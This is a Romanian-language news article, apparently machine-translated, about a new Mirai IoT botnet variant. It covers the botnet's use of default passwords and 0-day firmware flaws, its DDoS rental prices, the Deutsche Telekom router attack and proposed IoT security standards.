Dispozitive IoT- de obicei routere - incluse în Mirai botnet până când repornește - atunci viermele este șters din memoria lor. Cu toate acestea, rețeaua bot scanează în mod constant Internetul pentru dispozitive vulnerabile, astfel încât un dispozitiv „vindecat” să poată deveni din nou parte rapid din acesta. Există o adevărată cursă printre hackeri pentru a fi primii care infectează cât mai multe dispozitive.

Nu există informații despre modul în care creatorii noului Mirai reușesc să-și depășească concurenții. Cu toate acestea, ei le-au spus reporterilor că își folosesc propria botnet pentru a scana dispozitive potențial vulnerabile, inclusiv pe cele care făceau anterior parte din botnet.

„De ce nu-i pune pe Mirai să vâneze Mirai și să devoreze originalul”, spune BestBuy.

Nu numai Mirai

Cu toate acestea, noua rețea botnet nu a absorbit doar dispozitivele Mirai vechi și altele noi cu parole implicite. Creatorii săi folosesc, de asemenea, vulnerabilități de tip 0-day în firmware-ul dispozitivelor IoT. Experții au prezis anterior apariția iminentă a unor astfel de botnet-uri „combinate”.

Lupta împotriva lor devine considerabil mai complicată - dacă, pentru a contracara Mirai, utilizatorul dispozitivului final trebuie doar să schimbe login și parola pentru a-l accesa, atunci nu va putea face față singur vulnerabilităților gadgetului. .

DDoS la 700 Gbps

Hackerii BestBuy și Popopret au început să-și facă publicitate serviciilor - oferă acces la serviciile lor versiune noua Mirai, trimite mesaje spam prin XMPP/Jabber,

Potrivit hackerului, aceștia oferă clienților mai multe pachete de servicii. Merita unul mai ieftin $2 000 - pentru acesti bani clientii pot inchiria de la 20.000 până la 25.000 noduri botnet pentru a lansa sentinele timp de până la două săptămâni, cu un timp de pauză de cincisprezece minute între atacuri. In spate $15 000 sau $20 000 clienții au acum posibilitatea de a avea 600.000 de roboți să lanseze atacuri de două ore cu pauze de 30 sau 15 minute. În al doilea caz, puterea de atac va fi 700 Gbit/s sau mai mult.

Perspective

Siguranță Dispozitive IoT este adesea la un nivel destul de scăzut - acest lucru se explică prin faptul că furnizorii nu sunt adesea interesați să implementeze măsuri suplimentare securitatea informatiei. Ei promovează ușurința în utilizare a produselor lor, dar toate măsurile suplimentare de securitate impun restricții și necesită resurse.

După cum sa menționat mai sus, numai dezvoltatorii de dispozitive finale sau furnizorii care le oferă (în cazul routerelor) pot proteja utilizatorii de rețele botnet mai avansate. Furnizorul german Deutsche Telekom, afectat de atacul noii versiuni Mirai, a anunțat deja că va „reconsidera relațiile de afaceri” cu furnizorii de routere vulnerabile. Speedport, companie Arcadyan.

În cele din urmă, va fi posibilă creșterea nivelului de securitate al internetului obiectelor prin introducerea unui control mai strict al dispozitivelor din partea furnizorilor, pe de o parte, și dezvoltarea de standarde și documentație de reglementare pentru IoT, pe de altă parte. . Măsuri similare au fost deja luate în multe țări pentru a asigura siguranța sistemelor automate de control al proceselor. Primii pași în această direcție au fost deja făcuți – de exemplu, mai mulți furnizori de IT au publicat în septembrie un document numit Industrialul securitatea internetului cadru (IISF)- propune să se considere Internetul lucrurilor ca parte a „Internetului industrial”.

Cu toate acestea, problema este încă departe de a fi rezolvată definitiv, iar hackerii BestBuy și Popopret poate obține un monopol pe scară largă Atacurile DDoS pe net. Acesta este un fapt destul de trist, dar hackerii înșiși, în timpul unei conversații cu Placa de baza au declarat că activitățile lor vor fi ghidate nu numai de profit, ci și de principii morale. Așa că BestBuy a spus că nu vor permite clienților să atace adresele IP ale companiilor care lucrează cu infrastructură critică.




Top